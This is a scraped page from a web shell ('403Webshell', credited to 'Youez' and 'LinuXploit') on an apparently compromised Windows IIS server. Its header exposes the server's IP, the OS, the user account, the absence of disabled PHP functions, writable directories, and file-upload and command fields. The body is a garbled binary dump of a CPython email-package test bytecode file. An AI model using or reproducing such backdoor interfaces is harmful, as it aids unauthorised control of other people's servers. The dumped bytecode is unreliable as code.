403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python312/Lib/test/test_email/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python312/Lib/test/test_email/__pycache__/test_defect_handling.cpython-312.pyc
�

���g0����ddlZddlZddlZddlmZddlmZddlmZGd�d�ZGd�dee�Z	Gd	�d
ee�Z
Gd�dee�Zed
k(rej�yy)�N)�policy)�errors)�
TestEmailBasec��eZdZejZdZejd��Zd�Z	d�Z
ejd�Z
d�Zd�Zd�Zd	�Zd
�Zd�Zd�Zd
�Zd�Zd�Zd�Zy)�TestDefectsBaseFc#�K�d��y�w�N���self�defects  �9C:\Python312\\Lib\test\test_email\test_defect_handling.py�_raise_pointzTestDefectsBase._raise_points	����
�s�c���tjd�}|jtj�5|j|�}ddd�|jryjd�}|jt|d��|jt|j|��d�|j|j|�dtj�y#1swY��xYw)Na_            Subject: XX
            From: xx@xx.dk
            To: XX
            Mime-version: 1.0
            Content-type: multipart/mixed;
               boundary="MS_Mac_OE_3071477847_720252_MIME_Part"

            --MS_Mac_OE_3071477847_720252_MIME_Part
            Content-type: multipart/alternative;
               boundary="MS_Mac_OE_3071477847_720252_MIME_Part"

            --MS_Mac_OE_3071477847_720252_MIME_Part
            Content-type: text/plain; charset="ISO-8859-1"
            Content-transfer-encoding: quoted-printable

            text

            --MS_Mac_OE_3071477847_720252_MIME_Part
            Content-type: text/html; charset="ISO-8859-1"
            Content-transfer-encoding: quoted-printable

            <HTML></HTML>

            --MS_Mac_OE_3071477847_720252_MIME_Part--

            --MS_Mac_OE_3071477847_720252_MIME_Part
            Content-type: image/gif; name="xx.gif";
            Content-disposition: attachment
            Content-transfer-encoding: base64

            Some removed base64 encoded chars.

            --MS_Mac_OE_3071477847_720252_MIME_Part--

            r�defects�)�textwrap�dedentrr�StartBoundaryNotFoundDefect�_str_msg�raise_expected�get_payload�
assertTrue�hasattr�assertEqual�len�get_defects�assertIsInstance)r�source�msg�inners    r�test_same_boundary_inner_outerz.TestDefectsBase.test_same_boundary_inner_outers������#"�#��J�
�
�v�A�A�
B��-�-��'�C�C���������"�������y�1�2�����T�-�-�e�4�5�q�9����d�.�.�u�5�a�8�$�@�@�	B�
C�
B���C%�%C.c�6�tjd�}|jtj�5|j|�}ddd�|jry|jj�t�|jt|j|��d�|j|j|�dtj�|j|j|�dtj�y#1swY��xYw)Na�            Date: Fri, 6 Apr 2001 09:23:06 -0800 (GMT-0800)
            From: foobar
            Subject: broken mail
            MIME-Version: 1.0
            Content-Type: multipart/report; report-type=delivery-status;

            --JAB03225.986577786/zinfandel.lacita.com

            One part

            --JAB03225.986577786/zinfandel.lacita.com
            Content-Type: message/delivery-status

            Header: Another part

            --JAB03225.986577786/zinfandel.lacita.com--
            �rr)rrrr�NoBoundaryInMultipartDefectrrrr�strrrr�!MultipartInvariantViolationDefect�rrr s   r�test_multipart_no_boundaryz*TestDefectsBase.test_multipart_no_boundaryAs������"���$�
�
�v�A�A�
B��-�-��'�C�C��������c�o�o�/��5�����T�-�-�c�2�3�Q�7����d�.�.�s�3�A�6�$�@�@�	B����d�.�.�s�3�A�6�$�F�F�	H�C�
B�s�D�Da^        Date: Wed, 14 Nov 2007 12:56:23 GMT
        From: foo@bar.invalid
        To: foo@bar.invalid
        Subject: Content-Transfer-Encoding: base64 and multipart
        MIME-Version: 1.0
        Content-Type: multipart/mixed;
            boundary="===============3344438784458119861=="{}

        --===============3344438784458119861==
        Content-Type: text/plain

        Test message

        --===============3344438784458119861==
        Content-Type: application/octet-stream
        Content-Transfer-Encoding: base64

        YWJj

        --===============3344438784458119861==--
        c��|jtj�5|j|jjd��}ddd�|jry|jt|j��d�|j|j|�dtj�y#1swY�sxYw)Nz"
Content-Transfer-Encoding: base64rr)rr�-InvalidMultipartContentTransferEncodingDefectr�
multipart_msg�formatrrrrr�rr s  r�test_multipart_invalid_ctez*TestDefectsBase.test_multipart_invalid_cteus���
�
�
��D�D�F��-�-��&�&�-�-�=�?�@�C�F�
��������T�-�-�c�2�3�Q�7����d�.�.�s�3�A�6��@�@�	B�F�F�s�+B=�=Cc���|jry|j|jjd��}|j	t|j
|��d�y)N�r�rrr-r.rrrr/s  r�test_multipart_no_cte_no_defectz/TestDefectsBase.test_multipart_no_cte_no_defect�sL�������m�m�D�.�.�5�5�b�9�:������T�-�-�c�2�3�Q�7�c���|jrydD]]}|j|jjd|z��}|j	t|j
|��dd|z��_y)N)�7bit�8bit�BINaryz
Content-Transfer-Encoding: rzcte=r3)r�cter s   r�"test_multipart_valid_cte_no_defectz2TestDefectsBase.test_multipart_valid_cte_no_defect�sf������-�C��-�-��"�"�)�)�*I�#�*M�N�P�C����S��!1�!1�#�!6�7��F�3�J�G�.r5c�$�tjd�}|jtj�5|j|�}ddd�|jry|jtd��|jt|j|��d�|j|j|�dtj�|j|j|�dtj�y#1swY��xYw)Na            From: "Allison Dunlap" <xxx@example.com>
            To: yyy@example.com
            Subject: 64423
            Date: Sun, 11 Jul 2004 16:09:27 -0300
            MIME-Version: 1.0
            Content-Type: multipart/alternative;

            Blah blah blah
            rr%rr)rrrrr&rrrrrrrrr(r)s   r�test_lying_multipartz$TestDefectsBase.test_lying_multipart�s������	"�	���
�
�v�A�A�
B��-�-��'�C�C����������Y�/�0�����T�-�-�c�2�3�Q�7����d�.�.�s�3�A�6�$�@�@�	B����d�.�.�s�3�A�6�$�F�F�	H�C�
B�s�D�Dc���tjd�}|jtj�5|j|�}ddd�|jryjd�jd�}|jt|j|��d�|j|j|�dtj�y#1swY��xYw)Na�            Content-Type: multipart/mixed; boundary="AAA"
            From: Mail Delivery Subsystem <xxx@example.com>
            To: yyy@example.com

            --AAA

            Stuff

            --AAA
            Content-Type: message/rfc822

            From: webmaster@python.org
            To: zzz@example.com
            Content-Type: multipart/mixed; boundary="BBB"

            --BBB--

            --AAA--

            rr)rrrrrrrrrrrr)rr�outer�bads    r�test_missing_start_boundaryz+TestDefectsBase.test_missing_start_boundary�s������"���:�
�
�v�A�A�
B��M�M�&�)�E�C���������"�.�.�q�1������T�-�-�c�2�3�Q�7����d�.�.�s�3�A�6�$�@�@�	B�C�
B�s�C�C"c�:�|jtj�5|jd�}ddd�|jry|jj
�dg�|j|j�d�|jt|j|��d�|j|j|�tjg�|j|j|�djd�y#1swY��xYw)Nz Line 1
Subject: test

body�Subject�bodyrrz Line 1
)rr�#FirstHeaderLineIsContinuationDefectrrr�keysrrr�assertDefectsEqual�liner/s  r�&test_first_line_is_continuation_headerz6TestDefectsBase.test_first_line_is_continuation_header�s���
�
�
�v�I�I�
J��-�-� @�A�C�K������������i�[�1�������*�F�3�����T�-�-�c�2�3�Q�7����� 0� 0�� 5�"(�"L�"L�!M�	O�����)�)�#�.�q�1�6�6��D�K�
J�s�D�Dc��|jtj�5|jd�}ddd�|jry|jj
�dg�|j|j�d�|j|j|�tjg�y#1swY��xYw)Nz&Subject: test
not a header
To: abc

b
rCznot a header
To: abc

b
)
rr� MissingHeaderBodySeparatorDefectrrrrFrrGrr/s  r�"test_missing_header_body_separatorz2TestDefectsBase.test_missing_header_body_separator�s���
�
�
�v�F�F�
G��-�-� M�N�C�H������������i�[�1�������*�,J�K����� 0� 0�� 5�!'�!H�!H� I�	K�H�
G�s�B9�9Cc�z�tjd�}|j|�}|jtj
�5|j
d��}ddd�|jry|jd�|j|j|�tj
g�y#1swY�YxYw)Nz�            Subject: test
            MIME-Version: 1.0
            Content-Type: text/plain; charset="utf-8"
            Content-Transfer-Encoding: base64

            dmk
            T��decode�vi)rrrrr�InvalidBase64PaddingDefectrrrrGr�rrr �payloads    r�"test_bad_padding_in_base64_payloadz2TestDefectsBase.test_bad_padding_in_base64_payload�s������"����m�m�F�#��
�
�
�v�@�@�
A��o�o�T�o�2�G�B���������%�(����� 0� 0�� 5�!'�!B�!B� C�	E�	B�
A���B1�1B:c�z�tjd�}|j|�}|jtj
�5|j
d��}ddd�|jry|jd�|j|j|�tj
g�y#1swY�YxYw)Nz�            Subject: test
            MIME-Version: 1.0
            Content-Type: text/plain; charset="utf-8"
            Content-Transfer-Encoding: base64

            dmk===
            TrNrP)rrrrr�InvalidBase64CharactersDefectrrrrGrrRs    r�$test_invalid_chars_in_base64_payloadz4TestDefectsBase.test_invalid_chars_in_base64_payload�s������"����m�m�F�#��
�
�
�v�C�C�
D��o�o�T�o�2�G�E���������%�(����� 0� 0�� 5�!'�!E�!E� F�	H�	E�
D�rUc�z�tjd�}|j|�}|jtj
�5|j
d��}ddd�|jry|jd�|j|j|�tj
g�y#1swY�YxYw)Nz�            Subject: test
            MIME-Version: 1.0
            Content-Type: text/plain; charset="utf-8"
            Content-Transfer-Encoding: base64

            abcde
            TrNsabcde)rrrrr�InvalidBase64LengthDefectrrrrGrrRs    r�%test_invalid_length_of_base64_payloadz5TestDefectsBase.test_invalid_length_of_base64_payloads������"����m�m�F�#��
�
�
�v�?�?�
@��o�o�T�o�2�G�A���������(�+����� 0� 0�� 5�!'�!A�!A� B�	D�	A�
@�rUc���tjd�}|jtj�5|j|�}ddd�|jry|jtj��d�|j|jd�j�d�|j|j|�tjg�y#1swY��xYw)Na?            To: 1@harrydomain4.com
            Subject: Fwd: 1
            MIME-Version: 1.0
            Content-Type: multipart/alternative;
             boundary="------------000101020201080900040301"

            --------------000101020201080900040301
            Content-Type: text/plain; charset=ISO-8859-1
            Content-Transfer-Encoding: 7bit

            Alternative 1

            --------------000101020201080900040301
            Content-Type: text/html; charset=ISO-8859-1
            Content-Transfer-Encoding: 7bit

            Alternative 2

            r%rzAlternative 2
)rrrr�CloseBoundaryNotFoundDefectrrrrrrGrr)s   r�test_missing_ending_boundaryz,TestDefectsBase.test_missing_ending_boundarys������"���(�
�
�v�A�A�
B��-�-��'�C�C���������S�_�_�.�/��3��������+�7�7�9�;L�M����� 0� 0�� 5�!'�!C�!C� D�	F�C�
B�r#N)�__name__�
__module__�__qualname__r�defaultr�
contextlib�contextmanagerrr"r*rrr-r0r4r;r=rArIrLrTrXr[r^r
r5rrr	s���
�^�^�F��N�������-B�^H�:$�H�O�O�%�
�M�.	B�8�
H�H�*$B�L	E�K�E�"H�"D�"Fr5rc��eZdZd�Zy)�TestDefectDetectionc��|jSr	)r�r�objs  rrzTestDefectDetection.get_defects2s���{�{�r5N)r_r`rarr
r5rrfrf0s��r5rfc�B�eZdZGd�dej�Zd�Zd�Zy)�TestDefectCapturec��eZdZdZd�Zy)�TestDefectCapture.CapturePolicyNc�:�|jj|�yr	)�captured�append)rrir
s   r�register_defectz/TestDefectCapture.CapturePolicy.register_defect:s���M�M� � ��(r5)r_r`rarorqr
r5r�
CapturePolicyrm8s����	)r5rrc�B�|jt���|_y)N)ro)rr�listr)rs r�setUpzTestDefectCapture.setUp=s���(�(�$�&�(�9��r5c�.�|jjSr	)rrorhs  rrzTestDefectCapture.get_defects@s���{�{�#�#�#r5N)r_r`rar�EmailPolicyrrrurr
r5rrkrk6s��)��*�*�)�
:�$r5rkc�r�eZdZejZej
d��ZdZejd��Z	y)�TestDefectRaisingT)�raise_on_defectc#�`K�|j|�5d��ddd�y#1swYyxYw�wr	)�assertRaisesrs  rrzTestDefectRaising._raise_pointJs"����
�
�
�v�
&��'�
&�
&�s�.�"�	.�+�.N)
r_r`rarr�clonerrcrdrr
r5rryryDs:��
�
#�
#�F�
�V�\�\�$�
/�F��N������r5ry�__main__)r�unittestrc�emailrr�test.test_emailrrrfrkryr_�mainr
r5r�<module>r�sj�������)�dF�dF�N	�/�=��$���$�	���	��z���H�M�M�O�r5

Youez - 2016 - github.com/yon3zu
LinuXploit